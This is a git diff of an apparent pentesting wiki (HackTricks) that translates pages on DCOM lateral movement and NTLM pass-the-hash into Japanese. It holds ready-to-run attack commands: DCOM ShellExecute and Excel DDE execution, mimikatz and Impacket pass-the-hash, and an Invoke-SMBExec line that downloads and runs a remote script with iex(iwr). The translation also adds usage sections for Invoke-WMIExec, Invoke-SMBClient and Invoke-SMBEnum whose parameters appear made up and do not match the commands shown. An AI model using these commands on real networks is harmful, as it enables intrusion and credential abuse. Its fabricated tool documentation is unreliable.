![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414) -Again, take note of the blank Launch Permission field: +再び、空白の起動許可フィールドに注意してください。 ![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340) -With the CLSID, we can repeat the steps taken on the previous object to instantiate the object and call the same method: - +CLSIDを使用して、前のオブジェクトで行った手順を繰り返し、オブジェクトをインスタンス化し、同じメソッドを呼び出すことができます。 ```powershell $com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "") $obj = [System.Activator]::CreateInstance($com) $obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0) ``` - ![](https://enigma0x3.files.wordpress.com/2017/01/shellbrowserwindow\_command\_execution.png?w=690\&h=441) -As you can see, the command successfully executed on the remote target. +上記のように、コマンドはリモートターゲットで正常に実行されました。 -Since this object interfaces directly with the Windows shell, we don’t need to invoke the “ShellWindows.Item” method, as on the previous object. +このオブジェクトはWindowsシェルと直接連携しているため、前のオブジェクトと同様に「ShellWindows.Item」メソッドを呼び出す必要はありません。 -While these two DCOM objects can be used to run shell commands on a remote host, there are plenty of other interesting methods that can be used to enumerate or tamper with a remote target. A few of these methods include: +これらの2つのDCOMオブジェクトは、リモートホストでシェルコマンドを実行するために使用できますが、他にもリモートターゲットの列挙や改ざんに使用できる興味深いメソッドがたくさんあります。これらのメソッドのいくつかは次のとおりです: * `Document.Application.ServiceStart()` * `Document.Application.ServiceStop()` @@ -119,49 +109,47 @@ While these two DCOM objects can be used to run shell commands on a remote host, * `Document.Application.ShutDownWindows()` * `Document.Application.GetSystemInformation()` -## ExcelDDE & RegisterXLL - -In a similar way it's possible to move laterally abusing DCOM Excel objects, for more information read [https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) +## ExcelDDE&RegisterXLL +同様の方法で、DCOM Excelオブジェクトを悪用して横方向に移動することも可能です。詳細については、[https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)を参照してください。 ```powershell # Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1 ## You can see here how to abuse excel for RCE elseif ($Method -Match "DetectOffice") { - $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") - $Obj = [System.Activator]::CreateInstance($Com) - $isx64 = [boolean]$obj.Application.ProductCode[21] - Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"}) +$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") +$Obj = [System.Activator]::CreateInstance($Com) +$isx64 = [boolean]$obj.Application.ProductCode[21] +Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"}) } elseif ($Method -Match "RegisterXLL") { - $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") - $Obj = [System.Activator]::CreateInstance($Com) - $obj.Application.RegisterXLL("$DllPath") +$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") +$Obj = [System.Activator]::CreateInstance($Com) +$obj.Application.RegisterXLL("$DllPath") } elseif ($Method -Match "ExcelDDE") { - $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") - $Obj = [System.Activator]::CreateInstance($Com) - $Obj.DisplayAlerts = $false - $Obj.DDEInitiate("cmd", "/c $Command") +$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") +$Obj = [System.Activator]::CreateInstance($Com) +$Obj.DisplayAlerts = $false +$Obj.DDEInitiate("cmd", "/c $Command") } ``` +## ツール -## Tool +Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのさまざまな方法を簡単に呼び出すことができます。 -The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines. +## 参考文献 -## References - -* The first method was copied from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/), for more info follow the link -* The second section was copied from [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/), for more info follow the link +* 最初の方法は[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)からコピーされました。詳細についてはリンクを参照してください。 +* 2番目のセクションは[https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)からコピーされました。詳細についてはリンクを参照してください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/windows-hardening/ntlm/README.md b/windows-hardening/ntlm/README.md index d814a7753..9cf1e06bf 100644 --- a/windows-hardening/ntlm/README.md +++ b/windows-hardening/ntlm/README.md @@ -4,46 +4,43 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するために、PRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。** -## Basic Information +## 基本情報 -**NTLM Credentials**: Domain name (if any), username and password hash. +**NTLMの資格情報**: ドメイン名(ある場合)、ユーザー名、パスワードハッシュ。 -**LM** is only **enabled** in **Windows XP and server 2003** (LM hashes can be cracked). The LM hash AAD3B435B51404EEAAD3B435B51404EE means that LM is not being used (is the LM hash of empty string). +**LM**は**Windows XPとサーバー2003**でのみ**有効**です(LMハッシュはクラックできます)。LMハッシュAAD3B435B51404EEAAD3B435B51404EEは、LMが使用されていないことを意味します(空の文字列のLMハッシュです)。 -By default **Kerberos** is **used**, so NTLM will only be used if **there isn't any Active Directory configured,** the **Domain doesn't exist**, **Kerberos isn't working** (bad configuration) or the **client** that tries to connect using the IP instead of a valid host-name. +デフォルトでは**Kerberos**が使用されるため、NTLMは**Active Directoryが構成されていない**、**ドメインが存在しない**、**Kerberosが機能していない**(構成が不正)か、**クライアント**が有効なホスト名の代わりにIPを使用して接続しようとする場合にのみ使用されます。 -The **network packets** of a **NTLM authentication** have the **header** "**NTLMSSP**". +NTLM認証の**ネットワークパケット**にはヘッダー "**NTLMSSP**" があります。 -The protocols: LM, NTLMv1 and NTLMv2 are supported in the DLL %windir%\Windows\System32\msv1\_0.dll +プロトコル:LM、NTLMv1、およびNTLMv2は、DLL %windir%\Windows\System32\msv1\_0.dllでサポートされています。 -## LM, NTLMv1 and NTLMv2 +## LM、NTLMv1、およびNTLMv2 -You can check and configure which protocol will be used: +使用されるプロトコルを確認および設定できます: ### GUI -Execute _secpol.msc_ -> Local policies -> Security Options -> Network Security: LAN Manager authentication level. There are 6 levels (from 0 to 5). +_secpol.msc_を実行 -> ローカルポリシー -> セキュリティオプション -> ネットワークセキュリティ:LANマネージャ認証レベル。レベルは0から5までの6つあります。 ![](<../../.gitbook/assets/image (92).png>) -### Registry - -This will set the level 5: +### レジストリ +これにより、レベル5が設定されます: ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f ``` - -Possible values: - +可能な値: ``` 0 - Send LM & NTLM responses 1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated @@ -52,165 +49,213 @@ Possible values: 4 - Send NTLMv2 response only, refuse LM 5 - Send NTLMv2 response only, refuse LM & NTLM ``` +## 基本的なNTLMドメイン認証スキーム -## Basic NTLM Domain authentication Scheme +1. **ユーザー**が**資格情報**を入力します。 +2. クライアントマシンは、**ドメイン名**と**ユーザー名**を送信して**認証要求を送信**します。 +3. **サーバー**は**チャレンジ**を送信します。 +4. クライアントは、パスワードのハッシュをキーとして**チャレンジを暗号化**し、応答として送信します。 +5. **サーバーは**、**ドメイン名、ユーザー名、チャレンジ、応答**を**ドメインコントローラー**に送信します。Active Directoryが構成されていない場合や、ドメイン名がサーバーの名前である場合、資格情報は**ローカルで確認**されます。 +6. **ドメインコントローラーは**、すべてが正しいかどうかを確認し、情報をサーバーに送信します。 -1. The **user** introduces his **credentials** -2. The client machine **sends an authentication request** sending the **domain name** and the **username** -3. The **server** sends the **challenge** -4. The **client encrypts** the **challenge** using the hash of the password as key and sends it as response -5. The **server sends** to the **Domain controller** the **domain name, the username, the challenge and the response**. If there **isn't** an Active Directory configured or the domain name is the name of the server, the credentials are **checked locally**. -6. The **domain controller checks if everything is correct** and sends the information to the server +**サーバー**と**ドメインコントローラー**は、**Netlogon**サーバーを介して**セキュアチャネル**を作成できます。ドメインコントローラーはサーバーのパスワードを知っているため、これが可能です(これは**NTDS.DIT**データベース内にあります)。 -The **server** and the **Domain Controller** are able to create a **Secure Channel** via **Netlogon** server as the Domain Controller know the password of the server (it is inside the **NTDS.DIT** db). +### ローカルNTLM認証スキーム -### Local NTLM authentication Scheme +認証は、**以前に述べたものと同じですが**、**サーバー**は**SAM**ファイル内で認証しようとする**ユーザーのハッシュを知っています**。したがって、ドメインコントローラーに問い合わせる代わりに、**サーバー自体で**ユーザーの認証を確認します。 -The authentication is as the one mentioned **before but** the **server** knows the **hash of the user** that tries to authenticate inside the **SAM** file. So, instead of asking the Domain Controller, the **server will check itself** if the user can authenticate. +### NTLMv1チャレンジ -### NTLMv1 Challenge +**チャレンジの長さは8バイト**で、**応答の長さは24バイト**です。 -The **challenge length is 8 bytes** and the **response is 24 bytes** long. +**ハッシュNT(16バイト)**は、**7バイトずつ3つのパート**(7B + 7B +(2B + 0x00\*5))に分割されます:**最後のパートはゼロで埋められます**。次に、**チャレンジ**は各パートごとに**別々に暗号化**され、**結果の**暗号化されたバイトが**結合**されます。合計:8B + 8B + 8B = 24バイト。 -The **hash NT (16bytes)** is divided in **3 parts of 7bytes each** (7B + 7B + (2B+0x00\*5)): the **last part is filled with zeros**. Then, the **challenge** is **ciphered separately** with each part and the **resulting** ciphered bytes are **joined**. Total: 8B + 8B + 8B = 24Bytes. +**問題点**: -**Problems**: +- **ランダム性の欠如** +- 3つのパートは**個別に攻撃**され、NTハッシュを見つけることができます +- **DESは解読可能** +- 3番目のキーは常に**5つのゼロ**で構成されています。 +- **同じチャレンジ**が与えられると、**応答**は**同じ**になります。したがって、被害者に文字列「**1122334455667788**」を**チャレンジ**として与え、**事前計算されたレインボーテーブル**を使用して攻撃することができます。 -* Lack of **randomness** -* The 3 parts can be **attacked separately** to find the NT hash -* **DES is crackable** -* The 3º key is composed always by **5 zeros**. -* Given the **same challenge** the **response** will be **same**. So, you can give as a **challenge** to the victim the string "**1122334455667788**" and attack the response used **precomputed rainbow tables**. +### NTLMv1攻撃 -### NTLMv1 attack +現在では、Unconstrained Delegationが構成された環境は少なくなってきていますが、これは**構成されたプリントスプーラーサービス**を悪用することができないことを意味しません。 -Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't **abuse a Print Spooler service** configured. +既にADで持っているいくつかの資格情報/セッションを使用して、プリンターに対して**コントロール下のホスト**に対して**認証を要求**することができます。その後、`metasploit auxiliary/server/capture/smb`または`responder`を使用して、**認証チャレンジを1122334455667788**に設定し、認証試行をキャプチャし、それが**NTLMv1**を使用して行われた場合、それを**クラック**することができます。\ +`responder`を使用している場合は、**認証をダウングレード**するためにフラグ`--lm`を使用してみることができます。\ +_このテクニックでは、認証はNTLMv1を使用して実行する必要があります(NTLMv2は有効ではありません)。_ -You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\ -If you are using `responder` you could try to \*\*use the flag `--lm` \*\* to try to **downgrade** the **authentication**.\ -_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._ +プリンターは認証中にコンピューターアカウントを使用し、コンピューターアカウントは**長くランダムなパスワード**を使用するため、一般的な**辞書**を使用してクラックすることは**おそらくできません**。しかし、**NTLMv1**認証は**DESを使用**しています([詳細はこちら](./#ntlmv1-challenge))。したがって、DESをクラックするために特に専用のサービスを使用することで、それをクラックすることができます(たとえば、[https://crack.sh/](https://crack.sh)を使用できます)。 -Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](./#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) for example). +### NTLMv2チャレンジ -### NTLMv2 Challenge +**チャレンジの長さは8バイト**で、**2つの応答が送信されます**:1つは**24バイト**で、もう1つは**可変長**です。 -The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other** is **variable**. +**最初の応答**は、**クライアントとドメイン**からなる**文字列**を**HMAC\_MD5**で暗号化し、**NTハッシュ**の**ハッシュMD4**を**キー**として使用します。次に、**結果**は**チャレンジ**を暗号化するための**キー**として使用されます。これには、**8バイトのクライアントチャレンジ**が追加されます。合計:24 B。 -**The first response** is created by ciphering using **HMAC\_MD5** the **string** composed by the **client and the domain** and using as **key** the **hash MD4** of the **NT hash**. Then, the **result** will by used as **key** to cipher using **HMAC\_MD5** the **challenge**. To this, **a client challenge of 8 bytes will be added**. Total: 24 B. +**2番目の応答**は、**いくつかの値**(新しいクライアントチャレンジ、**リプレイ攻撃**を防ぐための**タイムスタンプ**など)を使用して作成されます。 -The **second response** is created using **several values** (a new client challenge, a **timestamp** to avoid **replay attacks**...) +**成功した認証プロセスをキャプチャした**pcapがある場合、このガイドに従ってドメイン、ユーザー名、チャレンジ、応答を取得し、パスワードをクラックしようとすることができます:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/) -If you have a **pcap that has captured a successful authentication process**, you can follow this guide to get the domain, username , challenge and response and try to creak the password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/) +## パス・ザ・ハッシュ -## Pass-the-Hash +**被害者のハッシュを持っている場合**、それを使用して**被害者になり**ます。\ +その**ハッシュ**を使用して**NTLM認証を実行するツール**を使用する必要があります。**または**、新しい**セッションログオン**を作成し、その**ハッシュ**を**LSASS**に**注入**することができます。そのため、**NTLM認証が実行されると、そのハッシュが使用されます。**最後のオプションがmimikatzが行うことです。 -**Once you have the hash of the victim**, you can use it to **impersonate** it.\ -You need to use a **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does. - -**Please, remember that you can perform Pass-the-Hash attacks also using Computer accounts.** +**パス・ザ・ハッシュ攻撃はコンピューターアカウントを使用しても実行できることに注意してください。** ### **Mimikatz** -**Needs to be run as administrator** - +**管理者として実行する必要があります**。 ```bash -Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' +Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` +これにより、mimikatzを起動したユーザーに属するプロセスが開始されますが、LSASS内部ではmimikatzパラメータ内の保存された資格情報が使用されます。その後、そのユーザーとしてネットワークリソースにアクセスできます(`runas /netonly`トリックと似ていますが、平文パスワードを知る必要はありません)。 -This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the `runas /netonly` trick but you don't need to know the plain-text password). +### Linuxからのハッシュの渡し -### Pass-the-Hash from linux +LinuxからPass-the-Hashを使用してWindowsマシンでコード実行を取得することができます。\ +[**ここをクリックして方法を学びましょう。**](../../windows/ntlm/broken-reference/) -You can obtain code execution in Windows machines using Pass-the-Hash from Linux.\ -[**Access here to learn how to do it.**](../../windows/ntlm/broken-reference/) +### Impacket Windowsコンパイル済みツール -### Impacket Windows compiled tools - -You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries). +Windows用のimpacketバイナリは[こちらからダウンロードできます](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries)。 * **psexec\_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` * **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` -* **atexec.exe** (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` -* There are several more Impacket binaries... +* **atexec.exe**(この場合、コマンドを指定する必要があります。cmd.exeやpowershell.exeは対話型シェルを取得するためには無効です)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` +* 他にもいくつかのImpacketバイナリがあります... ### Invoke-TheHash -You can get the powershell scripts from here: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash) +PowerShellスクリプトはこちらから入手できます:[https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash) #### Invoke-SMBExec - ``` Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose ``` - #### Invoke-WMIExec +`Invoke-WMIExec`は、Windowsマシン上でWMI(Windows Management Instrumentation)を使用してリモートコード実行を行うためのPowerShellスクリプトです。 + +このスクリプトは、WMIを介してリモートマシンに接続し、指定したコマンドを実行することができます。これにより、リモートマシン上で権限昇格や情報収集などのタスクを実行することができます。 + +使用方法は以下の通りです。 + +```powershell +Invoke-WMIExec -Target -Username -Password -Command +``` + +- ``: ターゲットマシンのIPアドレス +- ``: WMI接続に使用するユーザー名 +- ``: WMI接続に使用するパスワード +- ``: 実行するコマンド + +このスクリプトは、WMIを介してリモートマシンに接続するため、ターゲットマシンでWMIが有効になっている必要があります。また、適切な権限を持つユーザー名とパスワードを指定する必要があります。 + +`Invoke-WMIExec`は、ペネトレーションテストやセキュリティオーディットなどの目的で使用されることがありますが、悪意のある目的で使用することは違法です。常に法律と倫理に従って行動してください。 ``` Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose ``` - #### Invoke-SMBClient +`Invoke-SMBClient`は、WindowsシステムでSMB(Server Message Block)プロトコルを使用してリモートサーバーに接続するためのPowerShellスクリプトです。このスクリプトは、SMBを介してファイルの送受信やリモートコマンドの実行など、さまざまな操作を実行することができます。 + +##### 使用法 + +以下は、`Invoke-SMBClient`スクリプトの基本的な使用法です。 + +```powershell +Invoke-SMBClient -Target -Username -Password -Command +``` + +- ``: 接続先のリモートサーバーのIPアドレスまたはホスト名を指定します。 +- ``: リモートサーバーへの接続に使用するユーザー名を指定します。 +- ``: ユーザーのパスワードを指定します。 +- ``: 実行するリモートコマンドを指定します。 + +##### 例 + +以下は、`Invoke-SMBClient`スクリプトの使用例です。 + +```powershell +Invoke-SMBClient -Target 192.168.1.100 -Username admin -Password P@ssw0rd -Command "dir C:\" +``` + +この例では、192.168.1.100というIPアドレスのリモートサーバーに、adminというユーザー名とP@ssw0rdというパスワードで接続し、`dir C:\`コマンドを実行しています。 + +##### 注意事項 + +`Invoke-SMBClient`スクリプトを使用する際には、適切な権限を持つユーザー名とパスワードを使用することをお勧めします。また、リモートサーバーへのアクセス権限を持っていることを確認してください。 ``` Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose ``` - #### Invoke-SMBEnum +Invoke-SMBEnumは、WindowsシステムでSMB(Server Message Block)プロトコルを使用してネットワーク共有を列挙するためのPowerShellスクリプトです。このスクリプトは、ネットワーク上のホストに対してSMBバージョンのスキャンを実行し、共有フォルダ、ユーザー、グループ、セキュリティポリシーなどの情報を収集します。 + +このスクリプトを使用すると、ネットワーク内の潜在的なセキュリティリスクを特定することができます。例えば、デフォルトの共有フォルダや不適切なアクセス設定がある場合、悪意のあるユーザーが機密情報にアクセスする可能性があります。 + +Invoke-SMBEnumは、以下のようなオプションを使用して実行できます: + +- `-Target`: スキャン対象のホストのIPアドレスまたはホスト名を指定します。 +- `-Port`: スキャンするポート番号を指定します。デフォルトは445です。 +- `-Threads`: 同時に実行するスレッド数を指定します。デフォルトは10です。 +- `-OutputFile`: 結果を保存するファイルのパスを指定します。 + +以下は、Invoke-SMBEnumの使用例です: + +```powershell +Invoke-SMBEnum -Target 192.168.1.100 -Port 445 -Threads 20 -OutputFile C:\smb_enum_results.txt +``` + +このコマンドは、192.168.1.100というIPアドレスのホストに対して、ポート番号445でスキャンを実行し、20のスレッドを使用して結果をC:\smb_enum_results.txtに保存します。 + +Invoke-SMBEnumは、ネットワーク共有のセキュリティ評価やペネトレーションテストにおいて非常に有用なツールです。ただし、権限を持たないネットワークに対して実行する場合は、法的な制約や許可を確認する必要があります。 ``` Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose ``` - #### Invoke-TheHash -This function is a **mix of all the others**. You can pass **several hosts**, **exclude** someones and **select** the **option** you want to use (_SMBExec, WMIExec, SMBClient, SMBEnum_). If you select **any** of **SMBExec** and **WMIExec** but you **don't** give any _**Command**_ parameter it will just **check** if you have **enough permissions**. - +この関数は、他のすべての関数を組み合わせたものです。複数のホストを渡すことができ、特定のホストを除外することもできます。使用するオプション(SMBExec、WMIExec、SMBClient、SMBEnum)を選択することもできます。SMBExecとWMIExecのいずれかを選択し、ただし**Command**パラメータを指定しない場合、十分な権限があるかどうかを**チェック**するだけです。 ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` - -### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm) +### [Evil-WinRM パス・ザ・ハッシュ](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm) ### Windows Credentials Editor (WCE) -**Needs to be run as administrator** - -This tool will do the same thing as mimikatz (modify LSASS memory). +**管理者として実行する必要があります** +このツールは、mimikatzと同じことを行います(LSASSメモリの変更)。 ``` wce.exe -s ::: ``` +### ユーザー名とパスワードを使用したWindowsリモート実行の手動方法 -### Manual Windows remote execution with username and password +[こちらのページ](../lateral-movement/)で、Windowsホストから資格情報を取得する方法について詳細を確認できます。 -{% content-ref url="../lateral-movement/" %} -[lateral-movement](../lateral-movement/) -{% endcontent-ref %} +## Windowsホストからの資格情報の抽出 -## Extracting credentials from a Windows Host +**Windowsホストから資格情報を取得する方法についての詳細は、[こちらのページ](broken-reference)を参照してください。** -**For more information about** [**how to obtain credentials from a Windows host you should read this page**](broken-reference)**.** +## NTLMリレーとレスポンダー -## NTLM Relay and Responder +**これらの攻撃を実行する方法についての詳細なガイドは、[こちら](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を参照してください。** -**Read more detailed guide on how to perform those attacks here:** +## ネットワークキャプチャからのNTLMチャレンジの解析 -{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} -[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -{% endcontent-ref %} - -## Parse NTLM challenges from a network capture - -**You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) +[https://github.com/mlgualtieri/NTLMRawUnHide](https://github.com/mlgualtieri/NTLMRawUnHide)を使用することができます。
